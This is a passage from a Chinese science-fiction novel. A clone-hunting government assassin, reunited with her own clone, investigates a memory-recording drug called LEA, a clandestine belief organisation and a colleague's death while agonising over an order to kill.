下层的每个月,管理局都会给我一份名单,上面每个名字都是一条命。生命在我手里像空气一样无知无觉,我只有运动起来、举起我的武器,挥下去,才能感知它的份量。
最后永远会有新的复制体,接过那个名字,融入下层社会生活。
永无止境的暗色生活。
但下层的星光很亮,我不知道这是世界的补偿机制还是别的什么,只有我抬头仰望星空的时候,才会觉得,逃离是对的,放弃一切是对的,选择自由,是对的。
梦里的我抬起手检查伤势,但看见我的手环上闪着一条未接电话和两条消息。
都是吴潍发过来的,一条“样本已经交给林执”,还有一条“没钱可以预支工资”。
谢谢老板。我在心里谄媚又感动地说,要是管理局能有吴潍一半良心,也不至于整天抱怨它了。
倒计时已经变成负五十分钟,超时了近一个小时。猛地起身,结果狠狠撞在了玻璃罩上。
“操。”我捂着头哀嚎一声,摸上手边的开启按钮,这才坐起来。
翻身离开修复舱,环视一圈。有面落地镜,还有个挂着我衣服的架子。
衣服看起来像是被清洗过,甚至还帮忙熨平了褶皱。定制化的治疗方案,修复舱的独立空间,甚至还有专门的清洗工作,上层的资源真是丰富到一定地步了。
从落地镜里只看见我穿着宽松的病号服,为了治疗后背的骨裂,衣服的后背是落空的。
扭着身体,去检查伤势,肩膀的贯穿伤已经基本愈合,整个背部有很多颜色浅淡的小小标记。
一个标记就是一处骨裂。碎了这么多处?我本以为没有那么严重。
修复舱治疗方式就是通过X光定位患处,用针尖注射修复原料和催化剂,时间长短根据受伤程度决定。
但后期依然需要定期检查增生组织和生物力学测试。就算是管理局能从无到有地造出一个复制体,但人体本身的恢复能力还是不应多干涉。
这种方式只是使用人体材料进行精细到细胞的固定,也是另一种意义上的揠苗助长。能够让伤患迅速恢复行动力,军用转民用的典型技术。
我撩开前襟,检查肋下和侧腹的淤青,消了很多,依然还有痕迹。
这种皮肉伤,多注意就好。
我穿上带来的衣服,衣服上也沾染到了熟悉的花香。整个房间充斥着修复舱的花香味。这种味道到底是故意的,还是安神物质自带的?
命真苦,诸事不顺。
我穿上风衣,准备摸出口袋里的化妆品,空的。心下暗道不妙,低头查看了手环时间,刚好撞上吴潍发来一条“我去医院找你”。
就知道,修复舱的时间不可控。没有回复吴潍的消息,来不及去探究原因,我得回车上。不管是拿墨镜,还是备用化妆品,我都得避开和她撞上。
出门就和一件白大褂撞上了。对方比我高出许多,被我撞得往后一退。
“抱歉。”我试图伸手去拉他,“我刚从修复舱里出来,有点混乱。”
对方避开我的手,扶了扶眼镜,稳住身形,语气里有些被撞痛的无奈:“小姐,你比绝大多数病人都结实。”
熟悉的声音。我下意识低头遮住脸:“非常抱歉,我得先走了。”
是林执,当年的案件他是技术支持,我带回来的样本的DNA比对都是他做的,那条“辐射区之外有第二个世界”也是他给我背的书。
没等他说点什么,我刚想转身离开,他拉住了我的手腕:“等等。”
我用力甩开林执的手。整天坐办公室的,跟我这种天天在外跑的可比不了。顺利挣脱开,刚抬腿走了没两步,我的手环又有一声提示。
低头查看,是联系添加成功的标识。在拐角余光瞥一眼林执,对方冲我举着带着手环的左手,似乎在说:你的联系共享没关,不怪我。
我单方面删了,也不会影响他给我发消息。只能祈祷这是个纯粹的意外,而不是姚渊给我从头下到尾的套。
刚准备从前门出去找我的车,就看见吴潍对问诊台的人道谢,立刻调转步伐,转身从员工通道出去。
有一群探头看着我风风火火路过的护士们。其中一位正准备起身来拦我,看着我径直解锁门口设备,面不改色地进入闪着红光的权限门,又坐了回去。
官方暗杀组织,去哪都能装一把大的。我压下心头莫名其妙的优越感,生命管理局的集中统治只有这点好。
根据手环上的地图,我可以从这扇内部门通向地下停车场,再绕路去地表找我的车。这样就可以避开和吴潍直接撞上。
我走在停车场的时候,身后有一辆低调的昂贵跑车不疾不徐地跟在我身后。我就差把自己摁进墙里,从这段路上彻底蒸发了,那车还是跟猫似的不远不近地贴着。
是什么在跟踪我?这不是定位精度能做到的事情,是非常了解我行事风格的人。
“姚渊。”
我两条腿再厉害也跑不过四个轮子。看着那辆灰色的流线型车停在我面前,驾驶员那张永远似笑非笑的脸再次出现。
“吴队,顺路一起吃个饭?”他盯着我看,冲我一笑,“我们好歹也是‘过命’的交情。”
我看也没看他,抬腿继续按照路线行事:“不熟。”
他调了手下的自动巡航速度,跟我平行前进。姚渊在窗口消失了几秒钟,拿出我丢失的化妆品组合包,展示给我看:“你以为你现在能骗过谁?”
身边的东西真是一刻都不能离开视线。我面不改色:“堂堂组织总督还改行做小偷了?”
“我不觉得我们的理念有分歧,吴队。”姚渊毫无愧疚之心,把东西随手扔在后座,语气里的蛊惑消失无踪,“我们都是寻求真相之人,你为什么要隐瞒你那部分?”
“叶琦就是下场。”我提醒姚渊,“我不想死。”
姚渊笑了一声,终于听起来有几分和年纪相配的轻快:“你从来没有否认过你知道真相。”
我给了姚渊一个“你觉得是就是吧”的眼神:“你想说什么?”
“管理局在利用你,”他的语气极具说服力,“不管你现在在做什么,管理局的下一个目标就是你。”
很好,说点大家不知道的。我腹诽着,神神叨叨半天,在这等我呢:人类异常信仰组织可以为你提供庇护。
如我所料,他郑重其事地向我承诺:“我们可以保护你。”
我忍不住笑出声:“你是说,你们作为民间组织已经可以独立门户了?”
照你们这种“宗教信仰”路线发展下去,只能是下一个生命管理局。
“不能。”姚渊叹了一口气,“管理局知道我们手里有LEA。”
噢,和我做交易呢。LEA已经有了相当规模的走私网络。吴潍的笔记本里的仓库少说有十个,她作为头部销售,规模已经不小。
“姚渊,你脑子没问题吧?”我忍不住吐槽他,“你一个首领想断掉自己的财路?”
姚渊不耐烦地“啧”一声:“我跟他们不是一路人。”
我快走到停车场出口了,再往前他还是这么慢悠悠地跟着,那一定会直接暴露在管理局视线下。
“我不需要庇护,”我爱莫能助地看他一眼,“我不参与帮派内斗。”
“我们也不是非你不可,吴队。”姚渊懒洋洋的声音从我身后传来,“你当年能找到的真相,她也可以。”
我停住了脚步。
“你也清楚,目前下不去手的只有你一个。”姚渊的声音提高了几分,踩着油门从我身边停住,才轻轻地喊了一声,“吴潍队长。”
我想扎爆他的车胎。
为什么我遇到的每个人都愿意飞蛾扑火?那种真相怎么会值得这样的牺牲?姚渊为什么会那么自信自己不会是下一个叶琦?
“保持沉默不会解决任何问题。”姚渊撑在车窗口上盯着我看,“吴队,你觉得叶琦的死跟你毫无关系吗?你的再次出现,才是压死她的最后一根稻草。”
我不耐烦地“啧”一声,打断他对我的精神压力:“你在策反生命管理局的核心员工,姚渊。”
对方眨眨眼,似乎没有意识到我的言外之意:“你又不是第一个。”
我是得改改自己谜语人的习惯,在下层,故事说完整会缺乏让对方崩溃的情绪空间。
叹了一口气,俯身,手臂压在他的车顶上:“精神压力对我无效,你的拿出点实际的诱惑。”
“余殷信息的解码线索
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。”姚渊抛出极具诱惑力的条件,“你和我的目标都是管理局,那串数字就是切实证据。”
维持姿势和他对视,我没什么表情:“谁跟你说我的目标是管理局了?”
姚渊抿唇,勾出一个嘲讽的笑:“吴队,管理局放你回来的任务,只会有杀掉现在这个‘吴潍’。你现在迟迟不出手,管理局早晚会派人替你做。”
到那时,任务性质就不一样了。我知道姚渊在说什么,我还剩十一天。
“姚渊,我提醒你,”我慢条斯理地扯出句子,“我把你们组织铲除掉,也是完成任务。你怎么能确定,这不是管理局的一盘大棋呢?”
位于低处的男人伸出左手手环,打开了联系共享,似乎笃定我会让步:“你甘愿当棋子?”
当了那么多年,谁在乎。我伸手让手环在感应范围内相碰:“你们组织手环是共享的。”
就算管理局追踪,城内数以千计的同时定位点也会让专业人士头疼,更何况换个识别码、换个定位都是家常便饭;再加上姚渊作为在外露面的“总督”,管理局未必不在追踪他。
无论如何,姚渊现在是安全的,至少目前是。
“不愧是吴队,一眼就能看出来。”姚渊收回手,颇有几分谈判成功的心满意足,看见我的假名又皱了眉头,“Wined,这什么破名字。”
我冲他竖中指,虽然我也不喜欢这个名字,但主要是我不喜欢死而复生的人类。
姚渊一脚油门离开,跑车的引擎轰鸣让我想起吴潍的那辆。不如她,没品味的男人。
混进人群,找到自己的车,我在车里翻箱倒柜找我的复数化妆品。
操,那男人顺走了我的化妆品。我对着镜子描眉,才后知后觉地想起来。我得换一套牌子,万一哪天露馅了也好迂回。
“你走了怎么不告诉我一声。”吴潍的声音吓得我差点眼尾描歪了,“让我一顿好找,周围几个隐蔽停车点我都找了。你这是最后一个位置。”
收好化妆品,我看着吴潍熟门熟路地坐进副驾驶,忽然很想问她:“我们认识有三天吗?”
她摸着下巴,很认真地思考一番:“今天应该是第四天,如果你来查档案的那天也算上的话。”
我趴在方向盘上,看着她对我莫名其妙的问题认真盘算,忍不住笑了一声:“感觉好像认识了很久。”
她狐疑地看我一眼:“同苦是这样的,当年在一个训练场待过的,没两天就是朋友了。”
我想起了叶琦。
借着LEA灌输给我的记忆和情绪,我眼前闪过叶琦无力歪倒在一边的情景——她的欣喜和希冀,我的迷茫和痛苦,两份截然不同的情绪拉扯着我的内心和思维,只能迫使自己不要再去想。
坐直,启动汽车,开了自动巡航到城市边缘的一家旅馆。
我拿出在后座的平板,那串余殷留下的数字还留在上面。时间戳、日期、坐标,最后似乎无意义的“06”在屏幕上静止,竭尽全力地暗示我第四种解法。
“LEA真的能治疗‘精神分裂’吗?”我摸着平板的边缘,“灌输的情绪只能是类似多巴胺的强制调节吧?”
吴潍在她的纸质笔记本上写了什么,听见我说话,转头看着我,卷发落在身前:“我只觉得这是LEA的其中一个作用。如果只是记录生化反应,有很多别的方式,不一定非得是LEA。”
我本想告诉她我看见了叶琦的记忆,但LEA展现给我的那部分记忆,只对曾经那个失踪的“吴潍”有意义,对被调职的“吴潍”是难以理解的。
问起来我也说不清楚,最后只会暴露我深度参与了十年前的案件,甚至,暴露我就是那个原本的“吴潍”。
她似乎意识到我的情绪低落:“姚渊给你注射的LEA让你感觉到了什么?”
我摸了摸眉心短暂思考,决定做我擅长的事情,剪辑事实:“模模糊糊的,我也不太确定。主要是是余殷要求离婚的片段,她似乎觉得——”
我本想说“叶琦觉得余殷是生物复制体”,但这样一来,她为什么会不同意离婚呢?于是决定拉上她失踪的女儿:“余殷最近很奇怪,因为女儿不知真假的指证而走向极端,不可理喻。”
我在心里给叶琦磕了个头。
吴潍绿色的眼睛看着我,在黄昏下显出迷人的金翠混色:“什么指证?”
“女儿觉得余殷是生物复制体。”我把叶琦的猜测转嫁到她女儿身上,“也许女儿的判断也影响了叶琦?我不确定,那种感觉像是雾里看花,真实存在但看不清。”
“唔,也就是说,LEA还会注射记忆?”吴潍在自己的笔记本上画了一串,“被周围人指控,也怪不得余殷会选择死亡。如果那个时候有LEA,说不定可以帮助他。”
……重点是怎么帮助余殷吗?我无奈地敲敲手里物件的边缘:“你怎么不怀疑余殷真的是复制体?”
12. 岌岌可危的真相
“因为没有证据。”吴潍把头发别到耳后,似乎才意识到她没有说起这件事,“如果复制体有单独的档案、记录,或者其他什么可以证明存在的记录,我肯定可以发现。”
复制体的证据。我看着屏幕上的一串数字。在上层,管理局一定会标记生物复制体,不然无法区分。肯定有单独的档案,但是必然和我的真实身份档案一个级别,很难拿到。
“不过,那种被质疑是复制体的那些人,绝大多数都参加过辐射区探索。”吴潍翻了翻自己的笔记,跟我说,“所以辐射区里真的存在什么吗?”
“结合你曾经的任务报告,有可能。”我停顿了一下,打断了她没说出口的计划,“但我需要指出,所有非官方的辐射区探索只有死路一条。”
至少当年是这样的,不确认现在还是不是这样,但我有很大把握。
那次案件结案之后,很多人依然对辐射区怀有好奇心。我推测,从管理局拒绝和异常信仰组织合作,但设立了探索辐射区的官方抽签任务来看,八成会用死亡率来限制绝大多数人的想法。
果然,在上层完整生活了二十多年的吴潍没有反驳我:“你从辐射区里回来的,也没有发现什么?”
“多信任我几分?”我无奈地戳破她话里潜在的不信任,“辐射区真的荒无人烟,跟管理局放出来的信息是一样的。”
这倒是实话,辐射区真的什么都没有。只像管理局说的那样,有专门的队伍在巡逻,保护城市安全。对我来说,要是队伍里都不是同行会更有说服力。
吴潍无从证明,只是在笔记上又写了些什么。
我有些好奇她写了什么,但又不好直接探头去看,只好提起话题引起她的注意:“叶琦案子的报告出来了吗?管理局怎么会对自家主力城市管理员出手?”
这都过去快二十个小时了,管理局效率不至于那么低下吧?
“出来了。”吴潍不觉得这有什么好提的,“无人机故障,控制型弹药误装为了实弹,导致意外。”
“纯粹放——”我收下嘴里的脏话,轻咳一声,“其他呢?没有异常?”
她回忆了几秒:“我觉得有。现场的LEA针剂没有作为证物提交,似乎想要掩盖LEA的存在。”
那当然。生命管理局还是要面子的,自家高级城市管理员和地下走私药剂同流合污算什么事。
我引导着话题走向:“管理局想要掩盖LEA的存在?”
“有可能。”吴潍这么说着,但她的笔没有停下,也没有转头注意我。
我只好偷摸探头去看。她察觉到我的动作,反而主动把那页纸放在我眼前。
是密语。那一页的两个段落开头分别是“他的目的”和“组织关联”。再看下去就过了“假装能看懂”的玩笑时长,我视线从纸上转到吴潍脸上,装模做样地摆出“你原来写了这个”。
她有几分怀疑地看着我:“你看懂了?”
“当然看不懂。”我对她有几分埋怨,“明知故问。”
她倒是笑得灿烂,本来就像是故意逗我一样,收回记录本:“我在整理思绪。姚渊给出那份文件的目的是什么,LEA和组织的关系是什么。”
当年案件所有关键信息都在那份任务报告里。
如今姚渊把原本复印件放出来,一方面利用了吴潍调职前后的落差,她必然想知道十年前发生了什么;另一方面威胁我:你不想说的事情,你的复制体会替你说。
这座城市的生物复制体,就是本体百分之百的基因潜力表达。除了在不同环境里性格和爱好有细微差别,本体做得到的事情,复制体也一定可以。
时隔太久重打多结局游戏,八成还是第一次达成的结局,一个道理。
“为了提醒你当年和组织的分歧并不大?”我斟酌着语气,“也可能在暗示他们接触吴烛是为了保护她?”
这算不算一种蒙太奇?我想起姚渊那副“我做得到”的表情。他要是真的那么确信“第二世界”可以带来解脱和幸福,顺手决定救个组织成员也不是什么难事。
吴潍对着我提出的两个可能延续思考:“用母亲还威胁我还差不多。问题是,我现在什么都不知道,他们想知道什么?”
我觉得正常人应该不会有这样的经历:听着别人,特别是这个“别人”还是自己的复制体,基因上的一模一样,喊自己的母亲为“母亲”。配合上现在左右不是人的处境,我实在是有点嫉妒。
我摸了摸下巴,给她一个可能性不高的回答:“总不能就只是在说管理局被渗透了吧?”
“一方面,但绝不是主要原因,不然他们何必在地下运行。”吴潍皱起眉头,“也不应该拉拢我。质疑他人者为主的组织不会拉拢被质疑者,否则组织成员之间就会有内部冲突。”
跟着她的说法,我往下延伸:“但是吴烛是组织成员,他们也许猜到了你十年前失忆的情况?”
至少有姚渊和叶琦。我在心里补充着。
“用这份文件误导我曾经是他们的一员?”她拿出那份复印件,重新翻了一下,“还是说,我忘记的事情他们可以帮我想起来?”
我觉得是。我想着。总不能直接跟她说你是组织的PLANB,这后果可控制不住。
“你想知道吗?”我明知故问。
她看了我一眼:“我想。”
缺失那段记忆之后,母亲的态度一百八十度大转变。曾经在管理局内部碰壁的调查,现在异常组织给了她线索,必然不会放弃。
我心里叹气,表面上语气坚定地对她说:“我替你去。”
“为什么?”她疑惑地看着我,似乎觉得我主动深入虎穴的行为很缺乏考虑,“且不提你的伪装可能会被识破,你本身可以不参合这件事。”
“我是为了叶琦。”我笑了一下,“虽然管理局也脱不了干系,但明显你出入生命管理局更加方便。”
这倒是和吴潍的对话中异常罕见的真心实话。多合理的分工合作,这个世界上除了第二个自己哪还有人值得被这么信任?
吴潍看着我的表情显然带了些说不清道不明的感动,最后还是没有放过我:“所以你当时逃出组织的时候是发生了什么?”
哪壶不开提哪壶。我想着。叶琦文件被我剪辑出的“清算组织”故事,又想起逃出后被叶琦本人追杀,要怎么把这两个事实有逻辑地拼接起来?
组织的修正需要向总督申请。如果叶琦在清算组织,姚渊怎么会继承她未完成修正?
我只能利用吴潍不清楚所谓的“修正”到底指什么的情况,改成叶琦无论加不加入组织都能成立的说法。
“组织先发现了城市里有两个我,那帮疯子觉得我是他们信仰之地的见证人,想要利用我。”我的语气透出些无奈,“叶琦追杀我,是觉得我是生物复制体。”
吴潍本人也觉得本体地位高于复制体,叶琦的追杀动机并不算有问题。
“那姚渊怎么会说继承了叶琦的修正?”
我早有准备:“你不会认为那份名单是叶琦看一眼组织成员就能得到吧?他们都是管理局卧底。”
曾经的卧底也是卧底。我说姚渊跟叶琦是一路人,那就是一路人,反正他也没杀我。只要我去查组织,姚渊也不会主动接触吴潍。
总之,吴潍没法证明。
消除了一个疑点,她沉思着我的说法:“但你的匕首,不就已经向叶琦证明你是本体了吗?”
所以她找上了我而不是你啊,吴潍同学。我心里腹诽着。一个谎要用一百个来圆,令人头疼。
我深深地叹气,面不改色:“也许是因为复制体和本体都有这把匕首吧?复制体要替代本体在社会里生活,这些重要物证自然不会漏掉。”
“但当时叶琦拉着你来修改生命备份时间的时候,关系看起来很好?”吴潍对我的问题一个接着一个。
我觉得这种日子再过下去我就要变成故事大王了,下辈子我去姓郑,再也不姓吴。
把乱糟糟的思绪扔到一边,我回答她:“失踪的人刚回来,她还没有确认我到底是谁,顺手利用你验证档案是否有问题。”
吴潍手指着自己,有些意外又有些意料之中:“她还真是一如既往地算好了所有人。”
自觉是没有漏洞了,最后注意不要让姚渊接触吴潍,这些说法都基本成立。
吴潍的视线从了然又转变为怀疑:“她为什么会怀疑你不是本人?”
我摊手:“因为我不能向她坦白事实。”
还因为我跟她打了一架。嗯,这些真的是实话。
“也不能向我坦白。”吴潍嘀咕了一句,不再指望我能分享更多事实,又摸着下巴又在笔记本上写写画画去了,而后忽然抬头,“你伤口怎么样?你好像挑了很贵的病房?”
“好得很。”我曲起左臂,展示掩藏在风衣底下的肌肉,“跟你说了我有第二个账户。”
“秘密真多啊,Caster女士。”她拽着第二语言跟我阴阳怪气。我放下手臂,笑一声,翻过这个话题。
眼见到了旅馆目的地,我关了自动巡航,手动停车。
我拿走自己的包,站在副驾驶门外,看着副驾驶的人收好一堆文件,夹在纸质笔记本里。终于是按耐不住好奇心,问她:“你怎么会习惯纸质记录?”
被问的人一时间不知道怎么回答:“物理文档比较容易处理。在电子设备上的所有东西都能被管理局找到。”
谨慎,好事,我没意见。我站在原地,安分地等着新晋老板的指令:“晚饭你想怎么解决?”
“听你的。”吴潍转让决定权,“我不挑。”
话是这么说,但我还是用搬行李的理由把决定权扔了回去。
吴潍大度地
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为她的员工单开了一间房,我把行李分别放进开好的房间,仔细检查是否有潜在的摄像头。
我可不想变成上层居民的夜间消遣。
没有异常,也没有可疑人员跟踪。我低头看了眼手环,关不掉的倒计时依然在读秒。
执行官的追杀倒计时在十一天后,姚渊的主要目的也有我的松口,这几天是没有需要逃亡的麻烦了。
如释重负地呼气,转身乘电梯下楼,我隐隐有些期待周围的饭店会有什么惊喜。
这家旅馆作为城外游客的落脚地口碑颇好。说是旅馆,倒也算得上是综合购物中心,该有的都有。
上层的酒真的很难喝,就是不知道其他部分如何。我还在电梯里神游天外,手环消息提示音把我拉了回来。
“当前任务目标追加:姚渊。”
是管理层发来的,只有短短一句话。我能猜出来他大概率是复制体,但为什么是我去处理?城市的生命维护执行官难道就那一位吗?
想起那位倒霉的生命复制体在玻璃碎上挣扎,我忍不住良心又有点痛。
我看完就准备放下手,反正管理局一如既往地“冷暴力”,从来不回答我的疑惑。意外的是,管理局随即又发来了一份文件。
电梯即将到达楼层,我不能在大庭广众之下查看管理局内部文件。时间匆忙,只好扫了眼文件标题,是熟悉的任务书格式。
踏出电梯,跟着吴潍共享的定位兜兜转转半天,我最后才在顶楼的犄角旮旯找到那家店。
入口被夹在了另外两家店面中间,我穿过狭长的门廊,才能看见里面。店面不算小,重色的桌椅点缀亮色摆件,浅色隔帘上方落着变色灯光。室内风循环带起薄纱,连带着整个空间有几分超脱物理的虚幻感。
在饭店和酒吧之间找到了奇妙的平衡。我扫视一圈迅速锁定吴潍,确认周围都是游客或者普通居民。一路走到吴潍的对面,坐到椅子上,我才停止下意识地给路人打上标签的职业病。
没有低音重金属,没有抓着路人威胁的混混,没有挥之不去的机油尘土味——上层日子这么好过,为什么非得打破这种幸福?
我看着低头对照着手环研究特色菜的吴潍,实在是忍不住去揶揄她:“还有这个闲情逸致?不担心后面还有追兵?”
“要是有追兵,你还舍得来这种地方?”吴潍一副既来之则安之的模样,“你要是故意坑我一笔,那我也没意见。”
财大气粗,老板。我深刻反思我曾经是这样的人吗?
说她谨慎,能把我逼得短短几天除了真正真相,其他事实都被她套完了;说她不谨慎,在这种情况下还有闲心研究招牌菜。
我不习惯这种安静平和的环境,撑在桌子上没话找话:“你不怕我把你卖了吗?”
吴潍终于决定好招牌菜,把选好的菜单给我看:“为什么?我的身体?这座城市不需要任何人类器官。”
我欲言又止,盯着看不出原料的菜单许久,说不出一句话,最后一语双关,把菜单递给服务员:“我没意见。”
你说得对。这座城市就是因为生物科技而屹立于此,甚至有余力参战。
吴潍一直在试图和我闲聊。我实在是没有什么可以谈得上的兴趣爱好,思来想去半天,还是只能说:“看星星。”
“看星星?”吴潍惊讶地重复,是哪本哲学书的开头铺垫,“就是那些重复的光晕?”
下层的星星很清晰,银河也很绚丽,是只要抬头可以获得的浩瀚无垠。跟它们比起来,那些在我手下成为冰冷数字的生命,仿佛也只是万物轮回的一部分。但天还是会亮,白昼依然会到来,刺目灼眼的太阳只能让我再次低头,再次回到逃离不了的任务。
无论如何都不能提起那里。
我抿唇,诚心实意地质问回去:“这种爱好很奇怪吗?”
吴潍收起“意外”表情,盯着我看了很久,久到我困惑地摸上自己的脸,她才开口,声音里带着我听不懂的遗憾和柔软:“所以,辐射区真的什么都没有。”
这句陈述句不知道在回答谁。虽然说的是辐射区,但在我听来,是在透过表面层层叠叠的伪装,对我说:幸好你回来了。
我不知道该说什么,在尴尬到实体的气氛里有些无助地卷着鬓边短发。
她忽然低头看看手环,又抬起头,轻咳一声,模仿起《月光遥遥》里的旁白声线:“不是每一种选择都有两全其美的结果。”
“你说得对。”我忍不住低头笑起来,“但我也许选择了这辈子最差的结果。”
吴潍没有再尝试和我闲聊。那几道招牌菜是吃得清心寡欲,但造型确实别出心裁。我纯听吴潍指挥,该吃吃该停停,等着她出片。
直到坐着电梯准备回房间时,她才犹犹豫豫地开口:“我不知道我应不应该说,但只要你还有选择,结果就还有扭转的机会。”
13. 抽丝剥茧的证据
我没法回答吴潍,现在向我提“选择”的可能性?只会让我觉得,她是证明我曾经错误选择的存在。
并排快走到房间门口,我才决定说点什么。
“谢谢你。”我看着她刷卡进门,叹息似的对她说,“晚安,吴潍。”
她的回复听起来满足又愉快:“你也晚安!”
目送她进门,我回到房间,才看见衣柜边落地镜里的自己,难得挂上一点真心实意的浅笑。尴尬又不自在地捂嘴,我撇开视线。
移动两步,收敛心思,坐在床边,调出手环里没看完的管理局文件。
虽然本意上是为了转移注意力,看看管理局又扔给我什么强人所难的任务,但我很快就笑不出来了。
一份调令。一份更改负责人为“吴潍”的调令,发给了我。
其实严格来说不是调令,只是关于调查“第二次人类异常信仰案件”的任务书,下方的负责人有两位。一位是叶琦,下一个名字,就是吴潍。
看着叶琦名字旁边的“死亡”,我忽然再次感受到了无力的愤怒。我盯着任务书更改负责人的签发日期,正是我叶琦的死亡日期。
我不知道这种愤怒到底来自内因还是外因,还是两者都有。被LEA注射的属于叶琦的临时记忆已经模糊,但是她的情绪依然可以动摇我的理智。
我想抽烟,酗酒,像那些作品里的任何一位被现实击败的堕落人类一样,用任何一种上瘾物质催眠、摧毁身体,直到粉碎理智。
这份任务书两天前就准备好了,但我的拖沓导致管理局选择用这样的方式再次催促我,或者说,给了我一个回到过去生活的完美证据和理由。
管理局算好叶琦的死亡了吗?我关掉那份文件,抓着头发,站起身在房间里来回踱步。
我徒劳地去验证这份文件有一丝伪造的可能,但是没有。管理局联系我的账号是唯一的,我的手环都是管理局亲自配发的。
没有任何造假的余地,我的疑问本就是肯定回答。
手劲没控制好,拉得头皮生疼,但总算是冷静下来。我拉开阳台门,像以前一样试图抬头去看星空。
和煦的晚风从混凝土城市的另一头吹来,规律的荧光植被依附着垂直墙壁,层层叠叠地营造出自然而整洁的氛围。
但是没有星星,只有模糊的光点。记忆里清晰的银河现在只剩下一片晕染的白。
防护罩,厚实到隔绝酸雨极端环境的防护罩。天上的除了太阳,留下的痕迹都是遥远到成为书中的标识像素。
十年前熟悉的感觉,十年前我也在这种环境下做出决定。我长叹一口气,看着自己的右手。
想逃都逃不掉,但是解脱很简单,管理局想我选择的解脱很简单。
只需要半夜敲敲她的门,随便甩一些真心或者假意的深夜闺话,摸出匕首、枕头或者房间里的任何实体物件,就可以轻轻松松地结束这一切,假装下层的十年从来没有存在过。
“吴潍”这个人就只是长达十年的调职、调查、卧底,或是去做另有掩人耳目的秘密任务。
管理局安排好了我回归的剧本。他们甚至没有更改技术支持提供,“林执”两个字依然白纸黑字地写在文件上。
我只需要动手,但这么做只是重蹈覆辙。
我无处发泄我的情绪。没有办法言说的负罪感和愧疚感几乎充斥着我的内心,我并非自诩悲观主义者,但我所知的现实、真相,只会让我不得不走向悲观主义。
我没得选,吴潍,我没得选。
我想祈祷,但我的信仰配不上任何一位神明的注目。我是自私的,我是天真的,以为只要自己选择沉默,选择顺从,就不会伤害任何人。
迟钝的思维跟着身体需求。洗完澡,我看着镜子里的自己。那双黑色的美瞳已经跟了我十年,到如今,我看着吴潍反而是有些陌生。
我知道,这个世界上没有神明。那些全知全能的生物、意识、东西根本不在乎人类的死活,否则祂们早该现身,博取人类关注了。
撇开无望的思绪,现在最重要的是抓紧时间休息。一想到还有无穷无尽的明天,就只剩下麻木的疲惫。
天蒙蒙亮,我就睡醒了。定点生物钟,身体比意识先清醒,直到习惯性的遮盖好面部细节,精神才和身体完全同步。
凌晨五点,倒计时九天。
一般来说,这个点我要么锻炼路过便利店门口,要么在回收目标周围蹲着,再不然就是一觉睡到下午两点的路上。当然,睡觉是极端情况。
说认真的,这算是身肩双职吧?能不能提加钱?我恶狠狠地想着。接手十年前的烂摊子,我都把曾经的核心组织成员处理干净了,还能发展成这样。
管理局真是尸位素餐。
我伸手关掉整个房间的光源,拉出手环的全息屏,借助房间设备投影到墙上,试图整理出一个关系网。
目前所有事件几乎都和LEA有关。LEA写在最顶上,组织和管理局的名称写在中间。
根据姚渊的暗示,人类异常信仰组织因为LEA而内部分化。可以推测,组织疑似提供LEA;管理局掩盖LEA;吴潍是走私LEA;叶琦对于LEA的态度不明朗,我只好先在她指向LEA的箭头上写着“调查”。
原本还想写上母亲的名字,但发现和LEA没有关联,于是我又擦去。
后退几步,观察全局事件。五个箭头指向LEA,其中唯一的突破口,就是疑似提供LEA的组织。
摸着下巴思考几秒,在只有一个“丈夫”箭头指向叶琦里的余殷旁边,用红色写上“06”,顺着箭头在叶琦旁边写上“LEA”。
余殷数字里难解的“06”似乎只差临门一脚。我坐在床边上,看着铺满墙壁的手写字体,视线顺着箭头再往往上。
从“06”到“LEA”。
LEA是可以记录人体一切反应的药剂,甚至包括部分记忆。这种复杂的药剂不会是一蹴而就,这么来看,“06”是药剂编号?还是版本?
余殷3822年去世,离第一次人类异常信仰案件过去了7年,编号或者版本从“00”开始,那也应该是“07”,而不是"06"。
况且,我根本不知道所谓LEA药剂的源头出现在哪一年,又在哪一年研发完毕投入使用。
一定有什么条件是我没有考虑到,甚至是我不知道的。余殷不能回到过去挑选时间,年份可能需要额外的操作,具体应该是什么?
手环突然闪了一下,打断了我的思绪。是一份检验报告,发件人是吴潍。
我差点要跳起来了。吴潍不应该把文件直接转发给我。她才是提出样本证据检验流程的提出人,发给我是严重的信息泄露。
被她算计了。我头疼地摁着太阳穴。吴潍不在乎自己是否会被处理,这份报告还能正常到她手里,就说明管理局并不打算对她出手。
她的重点是我。如果我没被管理局压过去谈话,这下她就能确定:管理局对我有超出常理的信任或者控制。
好消息是,管理局的默许能验证我确实是管理局“秘密组织”的成员,我对吴潍的编造的经历有了更直接的佐证。
至于坏消息,我太知道我自己会怎么想了。
一位辐射区异常归来的人类,怎么会在管理局有那么大的容忍度?甚至把调查异常组织这种重要案件交给“外人”?
要么,我是个被拿捏住把柄的倒霉蛋;要么,我本身就知道这些信息,本身就是组织案件的深度卷入者。
虽然吴潍查不查得到是另外一回事,但只能寄希望于曾经被我攻破的管理局防护升级过。
做好心理准备,我深呼吸,迅速冷静下来。
点开报告,跳过好几页看不懂的原理解释和方法对比,直奔结尾。
在余殷数字中推测出的坐标处,收集到的样本和医院使用的植物镇定剂成分一致。也就是说,LEA中含有这种植物镇定剂。
估算一下时间,差不多是林执熬了个通宵,才能在这个点发一份标准报告过来。
来不及再细想,关掉全息屏,有人在敲我的门。谨慎地透过猫眼去看来人,发现门口居然是林执。
我真是想不到他来做什么,犹豫着要不要开门,深呼吸,借着阳台的日出背光隐藏自己,在门后去问:“哪位?”
对方看见我明显一愣,只有一句意义不明的问候:“吴潍?”
我爱莫能助地摇头:“你要找的人在隔壁房间。”
林执反而笑了一声:“不用装傻,管理局给我的定位。”
我眨眨眼,固守着门板:“管理局的定位不会那么准。”
他似乎是有些无语地叹气,没有让步:“管理局给的房间号,我的视力还没差到那种地步。”
他举起左手手环,示意“你的手环只有核心管理层才会有”。不管我到底是什么人,管理局让他来找我是肯定的。
我暗自“啧”一声。因为吴潍从来没有进入过核心管理层,我把这茬忘了。普通人看不出来,这种管理局配发的手环是内部人员之间身份标识。
把他放进来,要周旋的问题很多。但是不放进来,感觉是我又要背叛管理局,才是真正的大问题。
我无言以对,只好放开了门。林执似乎才发现我不是“吴潍”本人一样,不知道是感叹还是困惑:“是你?”
所以我从病房里出来的时候,到底纯粹是运气问题,还是被管理局和姚渊联合下套了?我打开房间的顶灯,两手一摊:“Wined·Caster,你应该有我的联系方式,林执。”
他的眉头微不可见地皱了一下:“吴潍人呢?”
“跟你说了,”我心平气和地给林执倒了杯水,“在隔壁。”
“管理局不会犯这种低级错误。”他
